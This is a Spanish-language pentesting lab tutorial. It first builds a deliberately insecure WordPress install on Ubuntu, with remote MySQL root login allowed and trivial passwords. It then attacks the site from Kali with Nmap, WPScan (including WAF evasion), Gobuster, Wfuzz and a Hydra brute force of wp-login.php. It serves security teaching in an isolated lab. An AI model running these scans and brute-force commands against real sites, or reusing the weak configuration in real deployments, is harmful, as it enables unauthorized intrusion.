Introducción al Stack LAMP
Esta práctica guía la instalación de WordPress en un entorno vulnerable utilizando el stack LAMP sobre Ubuntu 24.04. El objetivo es doble:
- Primera parte: montar el servidor web completo (Linux + Apache + MySQL + PHP) e instalar WordPress de forma funcional pero con configuración insegura intencionada.
- Segunda parte: explotar esa instalación desde Kali Linux usando herramientas de pentesting reales (WPScan, Gobuster, Hydra).
Entorno de laboratorio: Todos los ejercicios deben realizarse en una red aislada (p. ej. VirtualBox en red interna o NAT). Nunca ejecutes estas técnicas contra sistemas reales sin autorización explícita.
Arquitectura del laboratorio: Necesitarás dos máquinas virtuales:
- Víctima: Ubuntu 24.04 con WordPress (stack LAMP)
- Atacante: Kali Linux (herramientas de pentesting preinstaladas)
Asegúrate de que ambas estén en la misma red virtual y puedan hacerse ping mutuamente.
Paso 1: Actualizar el Sistema
Ubuntu 24.04Es crucial asegurar que todos los paquetes estén actualizados para garantizar la estabilidad del entorno antes de instalar cualquier componente.
| Comando | Función |
|---|---|
sudo apt update | Actualiza la lista de paquetes disponibles desde los repositorios |
sudo apt upgrade -y | Instala todas las actualizaciones pendientes sin pedir confirmación |
sudo apt update && sudo apt upgrade -y
El operador && ejecuta el segundo comando solo si el primero termina con éxito. Si apt update falla (por ejemplo, sin conexión), no intentará el upgrade.
Paso 2: Instalar Apache (Servidor Web)
Apache2Apache es el servidor web que se encargará de recibir las peticiones HTTP y mostrar tu sitio WordPress al navegador.
Instalar Apache:
sudo apt install apache2 -y
Verificar la instalación:
Accede a http://localhost/ en tu navegador. Deberías ver la página de bienvenida de Apache ("It works!").
Si el navegador no carga, comprueba que Apache esté activo con:
sudo systemctl status apache2
Si está parado, inícialo con: sudo systemctl start apache2
Paso 3: Instalar MySQL (Base de Datos)
MySQL ServerMySQL almacenará todo el contenido de WordPress: entradas, páginas, usuarios, configuraciones, etc.
Instalar MySQL:
sudo apt install mysql-server -y
Ejecutar el script de seguridad: Se recomienda ejecutar este script para mejorar la seguridad de MySQL y establecer opciones básicas.
sudo mysql_secure_installation
Sigue las instrucciones en pantalla.
Respuestas al script de seguridad
Durante el proceso se te harán varias preguntas. Para esta práctica usa:
- Contraseña root MySQL:
12345678 - Remove anonymous users? → y
- Disallow root login remotely? → n (ver explicación abajo)
Implicaciones de seguridad al responder n en "Disallow root login remotely":
Con esa respuesta le indicas a MySQL que no deshabilite el inicio de sesión remoto para root, permitiendo que el usuario root se conecte desde cualquier IP de la red.
| Configuración | Implicación de Seguridad |
|---|---|
| n (Permitir root remoto) | ⚠️ Riesgo ALTO. Si alguien adivina la contraseña de root, puede acceder a toda la base de datos desde cualquier lugar de la red sin necesidad de acceder primero al servidor. |
| y (Deshabilitar root remoto) | ✅ Riesgo BAJO. El usuario root solo puede conectarse desde localhost. Para acceder como root, el atacante necesitaría primero comprometer el servidor. |
¿Por qué el script no pidió contraseña? Es un comportamiento normal y esperado en Ubuntu moderno. MySQL usa autenticación por socket Unix (auth_socket): en lugar de una contraseña, verifica que el usuario del sistema operativo que usa sudo tenga permiso. El script lo indica con el mensaje:
Skipping password set for root as authentication with auth_socket is used by default.
En resumen: el acceso de root a MySQL está protegido por tu contraseña de sudo, no por una contraseña separada de MySQL.
Paso 4: Crear la Base de Datos y Usuario de WordPress
MySQLWordPress necesita su propia base de datos y un usuario dedicado con permisos sobre ella. Nunca uses el usuario root de MySQL para aplicaciones web.
Acceder al shell de MySQL:
sudo mysql
Ejecutar los comandos SQL uno a uno (la contraseña usada es 12345678):
CREATE DATABASE wordpress DEFAULT CHARACTER SET utf8 COLLATE utf8_unicode_ci;
CREATE USER 'wordpressuser'@'localhost' IDENTIFIED BY '12345678';
GRANT ALL PRIVILEGES ON wordpress.* TO 'wordpressuser'@'localhost';
FLUSH PRIVILEGES;
EXIT;
¿Qué hace cada comando?
CREATE DATABASE: Crea la base de datos con codificación UTF-8 para soportar caracteres internacionales.CREATE USER: Crea el usuariowordpressusercon acceso solo desdelocalhost.GRANT ALL PRIVILEGES: Otorga todos los permisos sobre la BD de WordPress al nuevo usuario.FLUSH PRIVILEGES: Recarga los privilegios para que los cambios tengan efecto inmediato.EXIT: Sale del shell de MySQL.
Paso 5: Instalar PHP y Extensiones
PHPPHP es el lenguaje de programación que usa WordPress. Además del intérprete base, necesita extensiones específicas para funcionar correctamente.
sudo apt install php libapache2-mod-php php-mysql php-curl php-gd php-mbstring php-xml php-xmlrpc php-soap php-intl php-zip -y
| Extensión | Para qué sirve |
|---|---|
libapache2-mod-php | Integra PHP con el servidor Apache |
php-mysql | Permite a PHP conectarse a MySQL/MariaDB |
php-curl | Peticiones HTTP externas (actualizaciones, plugins) |
php-gd | Manipulación de imágenes (redimensionar, recortar) |
php-mbstring | Soporte para caracteres multibyte (UTF-8, Unicode) |
php-xml | Procesamiento de XML (feeds RSS, sitemaps) |
php-xmlrpc | Publicación remota vía XML-RPC |
php-soap | Servicios web SOAP |
php-intl | Internacionalización y localización |
php-zip | Instalar/actualizar plugins y temas (archivos .zip) |
Paso 6: Configurar Apache para WordPress
VirtualHostNecesitas crear un VirtualHost en Apache para que sepa dónde están los archivos de WordPress y cómo servirlos.
Crear el archivo de configuración del sitio:
sudo nano /etc/apache2/sites-available/wordpress.conf
Añadir la configuración (copia y pega exactamente):
<VirtualHost *:80>
ServerAdmin webmaster@localhost
DocumentRoot /var/www/wordpress
<Directory /var/www/wordpress/>
AllowOverride All
Require all granted
</Directory>
ErrorLog /error.log
CustomLog /access.log combined
</VirtualHost>
Esta configuración establece /var/www/wordpress como directorio raíz y permite el uso de archivos .htaccess gracias a AllowOverride All, necesario para las URLs amigables de WordPress.
Guardar y cerrar el archivo: en nano, pulsa Ctrl+O → Enter → Ctrl+X.
Habilitar el sitio y el módulo rewrite (necesario para las URLs amigables):
sudo a2ensite wordpress.conf
sudo a2enmod rewrite
Recargar Apache para aplicar los cambios:
sudo systemctl reload apache2
¿Reload o Restart?
| Característica | systemctl reload apache2 | systemctl restart apache2 |
|---|---|---|
| Mecanismo | Envía señal al proceso para que relea su configuración | Detiene completamente el servicio y lo reinicia |
| Tiempo de inactividad | ✅ Casi nulo — las conexiones activas terminan normalmente | ⚠️ Breve interrupción — corta conexiones en curso |
| Cuándo usarlo | Cambios menores: nuevo VirtualHost, cambio de directiva de log, etc. | Cambios mayores: puertos, módulos, errores críticos, SSL/TLS |
Usa siempre reload en producción: es la opción más segura y no interrumpe a los usuarios. Reserva restart solo cuando un reload falle o los cambios sean tan críticos que requieran detención completa.
Paso 7: Descargar y Configurar WordPress
wp-config.phpDescargar y extraer WordPress:
wget https://wordpress.org/latest.tar.gz
tar -xvzf latest.tar.gz
sudo mv wordpress /var/www/
Asignar permisos correctos: Esto permite a Apache (www-data) acceder y modificar los archivos de WordPress.
sudo chown -R www-data:www-data /var/www/wordpress
www-data es el usuario con el que corre Apache en Ubuntu. Si los archivos no le pertenecen, WordPress no podrá instalar plugins, subir imágenes ni actualizarse.
Crear y editar el archivo de configuración:
cd /var/www/wordpress
sudo cp wp-config-sample.php wp-config.php
sudo nano wp-config.php
Editar wp-config.php con los datos de tu base de datos. El bloque debe quedar exactamente así:
define( 'DB_NAME', 'wordpress' );
define( 'DB_USER', 'wordpressuser' );
define( 'DB_PASSWORD', '12345678' );
define( 'DB_HOST', 'localhost' );
define( 'DB_CHARSET', 'utf8' );
define( 'DB_COLLATE', '' );
Guardar y cerrar el archivo (Ctrl+O → Enter → Ctrl+X).
Problema: Apache sigue mostrando la página por defecto
Si al acceder a http://localhost/ sigues viendo la página "It works!" de Apache, es porque el sitio predeterminado (000-default.conf) tiene prioridad sobre la configuración de WordPress. Ambos escuchan en el puerto 80.
Solución: deshabilitar el sitio por defecto
Deshabilitar el sitio predeterminado:
sudo a2dissite 000-default.conf
Verificar que WordPress esté habilitado (solo si es necesario):
sudo a2ensite wordpress.conf
Si ya está habilitado, dirá: "Site wordpress already enabled".
Recargar Apache:
sudo systemctl reload apache2
Tras estos pasos, accede a http://localhost/. Deberías ver el asistente de instalación de WordPress pidiendo que elijas el idioma.
Paso 8: Completar la Instalación por el Navegador
Setup WebEl último paso es el asistente de configuración web de WordPress. Accede a http://localhost/ en tu navegador.
Selecciona el idioma de instalación y haz clic en "Continuar".
Rellena los datos del sitio. Para esta práctica usa los siguientes valores intencionalmente débiles (nos servirán para la fase de explotación):
| Campo | Valor |
|---|---|
| Título del sitio | diversionconbanderas |
| Nombre de usuario | sheldon |
| Contraseña | penny ⚠️ contraseña débil intencionada |
| Correo electrónico | sheldon@diversionconbanderas.local |
¡Instalación completada! Tu stack LAMP con WordPress está operativo. A partir de aquí puedes:
- Explorar el panel de administración en
http://localhost/wp-admin/ - Instalar temas y plugins
- Continuar con la fase de explotación desde Kali Linux
Configuración Básica de Kali Linux
KaliAntes de empezar, configura el teclado en español para trabajar cómodamente con caracteres especiales en los comandos.
Cambiar idioma del teclado temporalmente (sesión actual)
setxkbmap es
Cambiar idioma del teclado de forma permanente
Edita el archivo de configuración del teclado:
sudo nano /etc/default/keyboard
Modifica la variable XKBLAYOUT:
XKBLAYOUT="es"
XKBMODEL="pc105"
XKBVARIANT=""
XKBOPTIONS=""
Guarda con Ctrl+O → Enter → Ctrl+X y reinicia la sesión para aplicar el cambio.
Reconocimiento: Verificar Conectividad y Escanear con Nmap
NmapAntes de atacar necesitas saber la IP de la víctima. En la máquina Ubuntu, ejecuta ip a y anota la IP de la interfaz de red. En los ejemplos se usa 192.168.1.47 — sustitúyela por la IP real de tu laboratorio.
Comprobar conectividad con la víctima
ping 192.168.1.47
Escanear la víctima con Nmap
Tienes dos variantes de escaneo. La segunda es más agresiva y rápida:
Escaneo estándar (completo y detallado):
sudo nmap -p- -sV -sC -T4 192.168.1.47
Escaneo rápido con SYN scan y salida a fichero:
sudo nmap -p- --open -sS -sC -sV --min-rate 5000 -vvv -n -Pn 192.168.1.47 -oN Escaneo
| Flag | Significado |
|---|---|
-p- | Escanear los 65535 puertos TCP |
--open | Mostrar solo puertos abiertos |
-sS | SYN scan (stealth, no completa el handshake TCP) |
-sC | Scripts NSE por defecto (detecta servicios conocidos) |
-sV | Detectar versiones de los servicios |
--min-rate 5000 | Velocidad mínima: 5000 paquetes/segundo |
-n | No resolver DNS (más rápido) |
-Pn | No hacer ping previo (asumir host activo) |
-oN Escaneo | Guardar resultado en fichero de texto "Escaneo" |
Análisis con WPScan
WPScanWPScan es una herramienta especializada en auditoría de instalaciones WordPress. Detecta versiones, plugins vulnerables, usuarios, etc.
Actualizar la base de datos de WPScan
wpscan --update
Escaneo básico del sitio WordPress
wpscan --url http://192.168.1.47
Escaneo con rotación de User-Agent (evasión de WAF básico)
wpscan --url http://192.168.1.47 --random-user-agent
--random-user-agent hace que WPScan varíe el identificador de navegador en cada petición, dificultando la detección por sistemas de defensa que bloqueen el User-Agent de WPScan.
Enumeración de Directorios y Archivos
Gobuster / FeroxbusterLa enumeración de directorios busca rutas ocultas o no enlazadas en el servidor web, que pueden revelar paneles de administración, backups o archivos sensibles.
Gobuster — búsqueda básica
gobuster dir -u http://192.168.1.47 -w /usr/share/wordlists/dirb/common.txt -x php,html,txt
Gobuster — lista más extensa
gobuster dir -u http://192.168.1.47 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,py,sh
Feroxbuster — alternativa recursiva
feroxbuster -u http://192.168.1.47
Wfuzz — fuzzing de subdominios
wfuzz -c --hc=403 -t 20 -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host: FUZZ.local" -u http://192.168.1.47
| Flag Gobuster | Significado |
|---|---|
dir | Modo de enumeración de directorios |
-u | URL objetivo |
-w | Ruta al wordlist (diccionario de rutas) |
-x php,html,txt | Extensiones adicionales a probar en cada entrada del diccionario |
Enumeración de Usuarios WordPress
WPScanWordPress expone por defecto información sobre sus usuarios a través del REST API y el parámetro ?author=N. WPScan automatiza esta enumeración.
Enumerar usuarios y plugins vulnerables
wpscan --url http://192.168.1.47 --enumerate u,vp
Solo usuarios
wpscan --url http://192.168.1.47 --enumerate u
| Flag --enumerate | Qué enumera |
|---|---|
u | Usuarios registrados en WordPress |
vp | Plugins vulnerables conocidos |
ap | Todos los plugins (más lento) |
t | Temas instalados |
Ataque de Fuerza Bruta a wp-login.php
WPScan + HydraCon el usuario sheldon confirmado, podemos intentar descubrir su contraseña probando contra el diccionario rockyou.txt.
Fuerza bruta con WPScan (método recomendado para WordPress)
wpscan --url http://192.168.1.47/wp-login.php --passwords /usr/share/wordlists/rockyou.txt --usernames sheldon
WPScan es la opción preferida para atacar WordPress porque entiende el protocolo de autenticación nativo y maneja bien las redirecciones y tokens nonce de WordPress.
Fuerza bruta con Hydra (alternativa)
hydra -t 4 -V -f -l sheldon -P /usr/share/wordlists/rockyou.txt 192.168.1.47 http-post-form '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log In:L=2885'
Desglose de los parámetros de Hydra
| Parámetro | Función |
|---|---|
-t 4 | Número de tareas paralelas (hilos). Bajo para no saturar el servidor. |
-V | Verbose: muestra cada intento usuario/contraseña en pantalla |
-f | Stop after first valid password found (para cuando encuentra la primera credencial válida) |
-l sheldon | Nombre de usuario objetivo (minúscula = usuario fijo) |
-P rockyou.txt | Fichero de contraseñas (mayúscula = lista) |
http-post-form | Módulo de ataque: formulario HTTP POST |
Cadena de ataque HTTP-POST-FORM desglosada
La cadena tiene tres partes separadas por :
| Parte | Valor | Explicación |
|---|---|---|
| Ruta | /wp-login.php |
Endpoint al que se envía el formulario POST |
| Payload | log=^USER^&pwd=^PASS^&wp-submit=Log In |
Datos del formulario. Hydra reemplaza ^USER^ por sheldon y ^PASS^ por cada contraseña del diccionario |
| Condición de fallo | L=2885 |
Clave: si la respuesta del servidor tiene exactamente 2885 bytes de contenido, la contraseña es incorrecta. Si la longitud es diferente (login exitoso → redirección), Hydra marca el intento como válido |
Determinar el valor L= correcto: Antes de lanzar Hydra, haz un intento de login manual con credenciales incorrectas y mide el tamaño de la respuesta (con Burp Suite o curl -s http://IP/wp-login.php -d "log=test&pwd=test" | wc -c). Ese número es tu valor L=.
Comprobar la posición de una contraseña en el diccionario
Útil para saber en qué línea está la contraseña objetivo y estimar cuánto tardaría el ataque:
grep -n penny rockyou.txt
Referencia: Códigos de Estado HTTP
Entender los códigos HTTP es fundamental al hacer enumeración y ataques web. Aquí tienes los más relevantes organizados por categoría:
- 100 Continue — El servidor recibió los encabezados; el cliente debe continuar enviando el cuerpo.
- 200OK — Solicitud exitosa. Es lo que esperamos para páginas normales y logins correctos.
- 201Created — Recurso creado con éxito (común en APIs REST).
- 204No Content — Procesado con éxito, pero sin contenido en la respuesta.
- 301Moved Permanently — El recurso se movió de forma permanente a otra URL. Visto en escaneos para rutas antiguas como
/index.php. - 302Found — Redirección temporal. Visto en
/adminy/dashboard. Un login exitoso en WordPress suele devolver un 302. - 307Temporary Redirect — Como el 302 pero manteniendo el método HTTP original.
- 308Permanent Redirect — Como el 301 pero manteniendo el método HTTP original.
- 400Bad Request — Sintaxis incorrecta en la petición.
- 401Unauthorized — Requiere autenticación.
- 403Forbidden — El servidor entiende la petición pero rechaza el acceso. Habitual en
.htaccess,.htpasswdy directorios protegidos. - 404Not Found — Recurso no encontrado. El código más común en fuerza bruta de directorios.
- 405Method Not Allowed — El método HTTP usado (POST, DELETE…) no está permitido para ese recurso.
- 429Too Many Requests — Rate limiting activo. El servidor detecta y mitiga ataques de fuerza bruta.
- 500Internal Server Error — Error genérico del servidor. A menudo causado por código PHP defectuoso o configuración incorrecta.
- 502Bad Gateway — El servidor proxy/gateway recibió una respuesta no válida del servidor de origen.
- 503Service Unavailable — Servidor no disponible temporalmente (sobrecarga o mantenimiento).
- 504Gateway Timeout — El proxy/gateway no recibió respuesta a tiempo del servidor de origen.